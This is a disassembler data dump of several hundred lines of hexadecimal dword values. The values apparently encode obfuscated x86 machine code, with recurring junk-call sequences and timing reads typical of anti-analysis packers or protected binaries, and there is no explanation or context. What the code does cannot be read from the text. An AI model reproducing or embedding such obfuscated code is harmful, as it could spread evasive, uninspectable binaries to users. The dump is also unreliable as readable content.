dd 4834821Ch, 9630B350h, 0B5FFFE8Bh, 938B76Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 8AC35646h, 0EAEC132h
dd 0FE8B66A3h, 28995FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 880F92C3h, 1, 519D23F8h
dd 8B09350Bh, 38B763B5h, 9CBB6609h, 99858B00h, 6A09350Eh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0E9C4C356h, 11h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch
dd 0ABE523CEh, 0DF81608Fh, 41C01B77h, 0C4868961h, 0E9000000h
dd 13h, 0D584EEFEh, 0BD181080h, 39CD7813h, 67A3BA6Bh, 8BAB2107h
dd 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 5D94C0E8h, 8B66F612h, 4C283F9h, 5800Fh
dd 81660000h, 89EADBEBh, 6A2050h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 3A4924C3h, 89A4CCBBh
dd 3521B19Dh, 0D7816609h, 858D7F83h, 938CC07h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 54C35545h, 48AF71F2h
dd 8531A097h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h
dd 170424h, 51410000h, 77865BC3h, 0E1BD0BAAh, 0F093505h
dd 87h, 6A006A00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 5E4CC352h, 2F9D03F2h, 0B5FFF5B7h
dd 938B76Fh, 11A98531h, 0F3810935h, 6590F435h, 115195FFh
dd 96F50935h, 12E8h, 297ED100h, 0D1FCAC18h, 0A7DA7B2Fh
dd 0AAD7D37Ch, 60D2CA6Eh, 5B615E53h, 158B0F50h, 0E9000000h
dd 10h, 8C34A6B2h, 5D0F17A4h, 4574CCEBh, 601B50A8h, 6FB5FF96h
dd 6A0938B7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0DCEDC352h, 0B29BEC8Ch, 12E9C776h
dd 0E9000000h, 43918307h, 1A62BEA3h, 734F8552h, 0D2434AD7h
dd 5595FF22h, 6A09350Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0B8A8C356h, 243FAE3h
dd 83DE8B66h, 350079BDh, 840F0009h, 27h, 1CE98589h, 50960935h
dd 5A310F52h, 2DBF5058h, 9620704Fh, 0EE9h, 0D2DB6400h
dd 0E4CBF04Ah, 0E611DE3Fh, 0FFF357F0h, 38B76FB5h, 52006A09h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0FF333A91h, 351C3595h, 57006A09h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6CC8F5F8h
dd 0D0695EE5h, 0B5FF2EC5h, 938B76Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0FDC35040h, 3B687724h, 0E8E0Fh
dd 9E90000h, 0AF000000h, 0A8DEA475h, 0EA17D9C3h, 2CE595FFh
dd 0FE90935h, 0F2000000h, 0AB80F677h, 7E0C58D8h, 0CBB8403Eh
dd 0BD83E1ACh, 93526BDh, 58840F02h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0FDBDC355h, 79BD8B9Fh, 0F09350Fh, 858BFFBFh, 93526ADh
dd 0C6F88B66h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 0E3DDFC3h, 518D89F0h, 0C7093501h
dd 35326585h, 9, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1804h, 0C3524200h, 2EB20379h, 958B600Ah
dd 9350A21h, 8E9h, 0DFE30B00h, 0D7A1299h, 88E96169h, 60FFFFF2h
dd 0C18B61FCh, 12359D8Bh, 858D0935h, 9352659h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 42C35646h, 2C75BD89h
dd 9D8B0935h, 9351D61h, 5E850h, 0E60C0000h, 0BF423245h
dd 110508E6h, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 9EC35040h, 0E8BB2611h, 517A4EEEh, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 20AF19C3h, 0C09A3B17h, 0A65BD8Bh, 29F50935h, 351029BDh
dd 89006A09h, 350811BDh, 6890F09h, 29000000h, 353305BDh
dd 5D858D09h, 0F0939B3h, 68Bh, 19BD8B00h, 8309352Eh, 8B6605C0h
dd 890F50F8h, 16h, 0DE8h, 0B89D2200h, 128CDA3Eh, 545CB6Fh
dd 8B666377h, 4895FDFh, 41BD0324h, 6A09352Fh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 319D8B31h, 6A093508h, 0AE900h, 0D4C30000h, 15D5E389h
dd 0C57E557Dh, 33195FFh, 6A0935h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0C9B553C3h, 0BDB5011Ah
dd 8D09352Fh, 389AAB8Dh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 0E559034Eh, 0A7904CB9h
dd 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 8350E0C3h, 0A1A9E6E8h, 1C19BD83h, 0F010935h
dd 7E85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 2D8E32D9h, 0A1A217C1h, 6AD88B4Ah
dd 0E7816602h, 0E85098ECh, 14h, 0C106DBF8h, 8C2433Ah, 0F86549B9h
dd 0B503811h, 1CA13CCEh, 38C0Fh, 8B660000h, 4895BF9h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 95FF47ACh, 9351151h, 1880Fh, 0E9FC0000h, 0E8Ch, 0E8h
dd 0ED815D00h, 939B367h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0FEC35040h, 95BD2B91h, 6A093511h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 778C356h, 1680AB68h, 15DBD89h, 858D0935h, 938932Bh
dd 9E8h, 0C6AD3300h, 0D51B4309h, 8B66F01Dh, 50905FF9h
dd 6A905DB7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 96DC351h, 35FF64h, 66000000h
dd 64191FBBh, 2589h, 9D230000h, 9351C05h, 300985FFh, 6A0935h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0A6AD13C3h, 3E9F81BDh, 0BD0B23F7h, 93511C9h, 0B5FFFF6Ah
dd 9352BF5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0F3C35545h, 7861BBE5h, 0D381661Bh, 95FF34E6h, 9352EB9h
dd 10EE9h, 5E900h, 39380000h, 0E88A7D68h, 13h, 3AAF936Ch
dd 0AC54B2A1h, 82D82538h, 1F581198h, 31D2773Eh, 3506C19Dh
dd 0B05F09h, 0E6DBB70Fh, 0F5C1BB70h, 71E42B76h, 3850Fh
dd 8B660000h, 0F613CD8h, 0C683h, 11BD2900h, 0B7093530h
dd 0C8B60F7Ah, 6BAF9h, 850F0000h, 6, 1F499D03h, 0C18B0935h
dd 0CA2DF381h, 0E8C17E14h, 8D0F04h, 66000000h, 8501E2F7h
dd 93526F1h, 0B70FC82Bh, 4DB529FAh, 8B09352Eh, 798501D1h
dd 0E9093501h, 0Bh, 58E0Fh, 81660000h, 8B8795C7h, 3528D985h
dd 0A19D8B09h, 8309351Bh, 9D8907C0h, 9352DD5h, 6600C083h
dd 0D03BFB8Bh, 17830Fh, 0BD890000h, 9350469h, 3EE9h, 0D59D8B00h
dd 8B093526h, 3527F19Dh, 0D18D8B09h, 0B3093516h, 1E1835Ah
dd 21840Fh, 0D7800000h, 0D1A58377h, 0FE093516h, 2335CB81h
dd 95897471h, 93528D9h, 2A5D8D89h, 0E90935h, 8D000000h
dd 392220B5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0B77ADC93h, 13E1B529h, 6A0935h, 0FFD88B66h
dd 35082995h, 0EBBB6609h, 8C0B9B5h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 811592C3h
dd 94625DC7h, 0FCE18370h, 1041BD33h, 0CB810935h, 267DBF53h
dd 51006AFCh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0DB816666h, 0BD8B6CB4h, 9351DE9h, 0B8h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 63FF1914h, 0B30FD5FDh, 0EF816617h, 0BA7BF0h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 0F840C355h, 6AEEACA2h, 8B8C46B7h
dd 0C233ADD9h, 0D003E8D1h, 7504E983h, 0EE9F4h, 0F3240000h
dd 2BDAA768h, 0B82A8604h, 0D8F588F5h, 0BDBD0953h, 5B09352Ch
dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h
dd 0C3564600h, 5A44D694h, 393F35FBh, 0CF8B6660h, 0D2D08166h
dd 958B6190h, 9351629h, 0ECB8166h, 7D8D8BFEh, 89093528h
dd 3512A1B5h, 0C28B5009h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
dd 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 0EED8C352h, 13E9h, 0EB59D100h
dd 6CEF46A8h, 2A1658A2h, 62B17468h, 8325BC3h, 1249BD83h
dd 0F000935h, 9684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0D6A6F456h, 7F498BFh
dd 0B86Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 9D8B6AC3h, 93522A1h, 4C028D8Dh
dd 9E80935h, 0B3000000h, 2FD0B3h, 3E64669Bh, 238D9D33h
dd 665F0935h, 0FFC2E4BBh, 52006AE1h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 945FA69Fh
dd 0CDB99BBh, 5D85892Bh, 8309352Eh, 352255BDh, 840F0009h
dd 4AEh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0C4C35141h, 3B6A1A0Ah, 0C7814BEFh, 5CDEC1D3h, 2255BD83h
dd 0F010935h, 49484h, 2FBF6600h, 55BD8391h, 3093522h, 44D860Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 6A7D4C3h, 0AE9D5h, 0A1E40000h, 4AA4A134h
dd 0D8053C92h, 45BF6660h, 0D98C66F3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 56C35242h, 0D7A8E2B7h, 0B57BE0A9h
dd 296D9D2Bh, 9D8B0935h, 9351161h, 6A04E180h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 2914C350h, 352B0DB5h, 0FC90A09h, 13784h, 958B6000h
dd 9352C61h, 6E9h, 0EACDBB00h, 6199FE63h, 2B61858Bh, 6A0935h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 5EE79DC3h, 336E09FBh, 350D7D85h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 90A8556Fh
dd 1A840Fh, 12E80000h, 8C000000h, 5D09780Fh, 87C59BF5h
dd 1C93CB9Dh, 0CDE2FA20h, 5B5B522Bh, 90DA8B50h, 858960F9h
dd 935220Dh, 2F2D858Bh, 6A610935h, 31BD8B00h, 68093500h
dd 3FDAAC93h, 11E95250h, 86000000h, 5DCF7112h, 5929112Bh
dd 5E3A6A93h, 550960D0h, 585A310Fh, 6C243481h, 6A3FC5AFh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 9126C350h, 0FFD9BF0Fh, 350CDD95h, 0FABF0F09h
dd 8589D88Ah, 938B76Fh, 7E9h, 0BD9CA500h, 4E2349CFh, 7B71FFBFh
dd 23FE939h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1D0424h, 57470000h, 0D16AB8C3h, 4531A2Dh, 0F413C6Eh
dd 0BD8BFEBFh, 93503F1h, 0B767858Bh, 6A0938h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 231C84C3h
dd 59446B73h, 81E29120h, 0A38705DBh, 1800C776h, 8B000000h
dd 38B76BB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0BD8B440Eh, 9351179h, 24D5858Bh
dd 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 84618FC3h, 0E8DE6406h, 5E89ABBh, 6C000000h
dd 2E09BB0Dh, 6A06895Fh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 791AC352h, 9965E033h
dd 2B61858Bh, 89F50935h, 850F0446h, 5, 14EA4BFh, 8A0F9620h
dd 13h, 0D8C0Fh, 7E80000h, 0F9000000h, 0BEF92C04h, 505FCE78h
dd 6A96DE8Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 7C6C352h, 3818A5D6h, 3DE78201h
dd 6810Fh, 0BD8B0000h, 93526DDh, 0E733BB66h, 0B767B5FFh
dd 81660938h, 0E83B18E3h, 4, 1F03FFh, 19850Fh, 52500000h
dd 0CE9h, 0A803CF00h, 437EAB8Eh, 0BABF42E6h, 0B3310F8Fh
dd 50585A1Bh, 448BC1B7h, 9E90424h, 5A000000h, 7931ACBBh
dd 33C9DC18h, 0DF8B008Bh, 4244489h, 0DE256BBBh, 9501587Dh
dd 935007Dh, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 0D666ADC3h, 666050F6h
dd 0C28BF88Bh, 24048961h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 2AC35141h, 9C2BB22Eh, 850FEB8Bh, 1Bh
dd 0FE8h, 0A0821000h, 5D9F3672h, 154AB9BBh, 0AF4668FCh
dd 0D21BD8Bh, 0FF5B0935h, 350CDD95h, 10E809h, 888B0000h
dd 0BE41B53Bh, 0CDC6D70h, 66EC6922h, 9D8B8A77h, 9351E8Dh
dd 8B66615Fh, 47BF66DFh, 5585C72Bh, 3093522h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0F013C355h, 8DDFF79Ah, 0E38170ADh, 4395486Fh
dd 0B76FBD83h, 0F000938h, 2A84h, 68B0F00h, 8B000000h, 352A699Dh
dd 34E909h, 8E0F0000h, 13h, 0EE9h, 0F01AB800h, 7479257Bh
dd 5CD6C10h, 505FDB0Fh, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 2B4843C3h, 9D8B2412h
dd 9351131h, 5E9h, 0C1493D00h, 6A319Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E7CC4CC3h
dd 0B4C17817h, 81DF3750h, 9F9BA7CFh, 0E99D8B72h, 8B09352Dh
dd 55BD83D8h, 3093522h, 4B0850Fh, 0DE8A0000h, 0B76FBD83h
dd 0F000938h, 4A184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1C04h, 0C3514100h, 460F580h, 5EFFDEA5h, 619D2303h
dd 0FF09351Bh, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4C12631Eh
dd 6DDEA323h, 1195FF2Ah, 6A09352Eh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D900C352h
dd 1F15B529h, 8E90935h, 0A1000000h, 0A09DDAA9h, 8B030007h
dd 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 951388F3h, 66E5AA5Ch, 6E55D381h
dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0FB8B0CC3h, 0C246E524h, 0E85096ADh
dd 0Fh, 753DA402h, 355184AAh, 0E417834Dh, 5BAE18CBh, 860F505Fh
dd 11h, 0BF5250h, 0F5A18D8h, 0F525031h, 5A585A31h, 95299658h
dd 9352F25h, 0B4CB8166h, 6FB5FF1Bh, 290938B7h, 35228D8Dh
dd 8995FF09h, 6A093502h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 8BC3C352h, 38B763B5h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0F317A822h, 25CD9D0Bh, 858B0935h
dd 9350E99h, 0E8C0Fh, 9E90000h, 61000000h, 89073F63h, 0D79E92CCh
dd 8B0Fh, 86890000h, 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 3CC35242h, 4895177Ah, 0F30FCFDh, 380h
dd 0F8B70F00h, 24CDBD09h, 958B0935h, 9351629h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F0C35747h, 4C28372h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h
dd 0FC5D66A2h, 0B5893790h, 93527A5h, 0F205089h, 681h, 69953100h
dd 8D09352Bh, 38CC0785h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0ADFA6DAEh, 99BD6EE7h
dd 0B88689A0h, 80000000h, 6A43C3h, 66DA8B66h, 0B5FFDE8Bh
dd 938B76Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 55C35646h, 0BE280F7h, 0B3E57BB0h, 17019589h, 0EE80935h
dd 0AB000000h, 4089F373h, 3EBF265Dh, 0AB6C4697h, 45BD0194h
dd 5B093502h, 115195FFh, 0BD890935h, 93525C5h, 13E850h
dd 29B80000h, 41457F82h, 0CA2C5F2Eh, 2A7F61D8h, 13229E77h
dd 0FA8B66F7h, 2434895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0BDC35242h, 0CB8060E8h, 11890F3Dh, 0E8000000h
dd 0Bh, 1406B45Fh, 0A922CC39h, 5E3BD485h, 999D2B61h, 81093529h
dd 38CC57C3h, 6FB5FF1Eh, 6A0938B7h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3BEC351h
dd 0F50B349h, 88Eh, 66F56000h, 17CAC381h, 5595FF61h, 6A09350Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 66CFC352h, 0BD83FE8Bh, 9350079h, 35840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 96B2C351h, 0FCB4BF66h, 0F536050h
dd 8Eh, 0C88A5B00h, 0BD8B9661h, 9352615h, 0B76FB5FFh, 6A0938h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FF00C9C3h, 351C3595h, 0F98D8909h, 0FF09352Fh, 38B76FB5h
dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0FF1D4DD7h, 352CE595h, 0BD83FC09h, 93526BDh
dd 46840F02h, 89000000h, 350ADD8Dh, 0AD858B09h, 6A093526h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0FCB6C356h, 0F0FDF483h, 0B58B6044h, 9350671h
dd 22CF8166h, 0D88B615Ah, 8B0000C6h, 3505D59Dh, 6585C709h
dd 93532h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 3A3BC352h, 553C4225h, 0B58972C7h
dd 9351EDDh, 23998D89h, 55E90935h, 0F8FFFFF2h, 8D89C18Bh
dd 935223Dh, 2659858Dh, 0B70F0935h, 0BB6650F9h, 489ACE0h
dd 0E8516024h, 12h, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h, 1F702072h
dd 585A4386h, 25C28166h, 6A613Eh, 3339BD33h, 6A0935h, 16F1BD8Bh
dd 858D0935h, 939C428h, 0D62F15BFh, 5C08349h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F1C35343h, 84D245C6h
dd 0E918DC39h, 0F98B6694h, 0F525050h, 288h, 0F616000h
dd 0C18B6031h, 5A61B8B6h, 24048958h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0F2C35242h, 0A6E544A7h, 2F41BD33h
dd 6A0935h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 44C35242h, 2857BF55h, 99852920h, 6A093525h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0D421E6F0h, 5AD506A7h, 0EE9h, 0EF9E5A00h, 293C96B4h
dd 0F0E4EE1Eh, 8B3A5C45h, 351C099Dh, 3195FF09h, 66093503h
dd 2908E781h, 9AAB8D8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 1C5093C3h, 0FF77204Fh
dd 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0BE874h, 0D39E0000h, 917F6E99h, 0C000CEC7h
dd 1985893Ch, 5B093510h, 419D2B60h, 61093533h, 1C19BD83h
dd 0F010935h, 0A185h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 731F436Dh, 3349BFA7h
dd 8166D3B0h, 0FD59DCFh, 8D01D9BFh, 935330Dh, 6A026Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 6ECE6DC3h, 0B11C20BBh, 48D0F14h, 66000000h, 507741BFh
dd 489FC8Ah, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 0F435DF7h, 45B58929h, 0FF09352Ch
dd 35115195h, 8E909h, 0F7400000h, 0CD8E1285h, 0CAE9E67Fh
dd 0E800000Dh, 0
aBa29J db ']│М2д9',9,'j',0
db 52h, 0E8h, 3
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0C08CC352h, 668571C8h, 0FD1DEB81h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0AC35141h, 8D01D718h, 9352FBDh
dd 6ADF8166h, 2B858D03h, 6A093893h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 20CCC350h
dd 1C870E0Ah, 0DD1830D4h, 0DBB70F60h, 32FD9589h, 90610935h
dd 665067B3h, 90AC20BFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 36C35343h, 3B6787AFh, 0BD8B1DCAh, 9353041h
dd 6059D8Bh, 0FF640935h, 35h, 81DDBF00h, 8964130Eh, 25h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 8150BD6Fh, 0C9B5CFDFh, 985FF05h, 6A093530h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 7885C356h, 814748FFh, 1DB7BF66h, 9D01FF6Ah
dd 9350A21h, 11F5B5FFh, 0BF660935h, 95FFF6C6h, 9352EB9h
dd 112E9h, 0EF816600h, 0B04371h, 10E956h, 0F2D70000h, 0EAB1EC02h
dd 0D88C085Fh, 24554303h, 0E65F984Fh, 0D1BD8B70h, 0B7093500h
dd 0BB71E45Dh, 1C47E494h, 830F613Ch, 0DBh, 1F05BD89h, 0B60F0935h
dd 0FD8D01C8h, 0BA093503h, 6, 0EE9h, 5CC9EF00h, 94A8F99Eh
dd 3B98FC25h, 8BA66BA5h, 0FE8B66C1h, 254DBD29h, 0E8C10935h
dd 0DABF0F04h, 8BE2F766h, 352DB19Dh, 8BC82B09h, 352FC59Dh
dd 31D18B09h, 350AD18Dh, 0E9B6B309h, 83h, 5C1BD03h, 858B0935h
dd 8, 0C5DBD29h, 830F0935h, 2, 0C0835B51h, 0A5950907h
dd 83093510h, 0CE900C0h, 0E1000000h, 4FB7B97Eh, 4B546F15h
dd 3B8BFA5Bh, 8830FD0h, 0E9000000h, 3Fh, 8BF88B66h, 0FFFFFF8Dh
dd 1E183FFh, 2D840Fh, 0BB660000h, 0A58339F3h, 0FFFFFFFFh
dd 10E9FEh, 0B5F40000h, 0DD01ADC4h, 2A9E2F4Eh, 0EE264AA0h
dd 9589B0BCh, 8, 0E995B7h, 8D000000h, 393B85B5h, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 9D8B3A36h, 9350B75h, 38C8E8BBh, 80BB6671h, 6A006AE0h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 862FC356h, 0F6D381D3h, 0FF0C735Dh, 35082995h
dd 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0BBF471E9h, 164D8D89h, 52B30935h, 114FB9h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 0DDC13388h, 2CBDBD8Bh, 6E80935h, 0ED000000h
dd 5D0C4D34h, 0CE91Ah, 87DB0000h, 18016EC3h, 0E1D41B14h
dd 835B2A2Dh, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 334BECC3h, 11C99529h, 8BFC0935h
dd 352831BDh, 0B809h, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0E2B1F4C3h, 39541512h
dd 4BE7818Ch, 0BA400049h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BFC35747h
dd 0B177B368h, 0CE62AA03h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h
dd 0DE84AABh, 0B0000000h, 86F9A44Eh, 399396F5h, 9065B101h
dd 0F9EB8166h, 8A0F5F53h, 1, 51006AFCh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 28E8A526h
dd 0D3D5E9EBh, 0DB80901Eh, 880D7Dh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 952970C3h
dd 9352E35h, 1629958Bh, 95290935h, 93524A5h, 287D8D8Bh
dd 9D290935h, 9350581h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 6A5818h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0F1E600C3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 30C35343h, 2F725B03h, 892776D2h
dd 35266195h, 49BD8309h, 93512h, 3D840Fh, 0CB810000h, 11771110h
dd 0B8D8BF0Fh, 0
dd 0E6D9D89h, 8D8D0935h, 9354C02h, 128D0Fh, 0E9500000h
dd 0Bh, 55F710E5h, 0C6234100h, 5BC29E97h, 0FFD0CF80h, 0C59D89E1h
dd 83093503h, 352255BDh, 840F0009h, 3F6h, 0D8D8D89h, 0BD830935h
dd 9352255h, 0FE840F01h, 0E9000003h, 9, 2BC52750h, 138F9699h
dd 55BD8332h, 3093522h, 3AD860Fh, 9D890000h, 93512C1h
dd 0C880F60h, 0E9000000h, 7, 0B903EEB7h, 66C88842h, 6AD98Ch
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 222AB0C3h, 7F34C727h, 0BF664907h, 0E180475Dh, 0F8BF0F04h
dd 840FC90Ah, 12Dh, 2E598D89h, 858B0935h, 9352B61h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 8D896070h
dd 93517F9h, 0E5D8D8Bh, 89610935h, 3513ED95h, 7D853309h
dd 0B09350Dh, 35162DBDh, 0AFE78009h, 52505250h, 310F5250h
dd 310F585Ah, 585AF88Bh, 2404895Fh, 7D9765BBh, 6A006A5Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0F42CC355h, 860F0A34h, 8, 28D0Fh, 0FA8B0000h
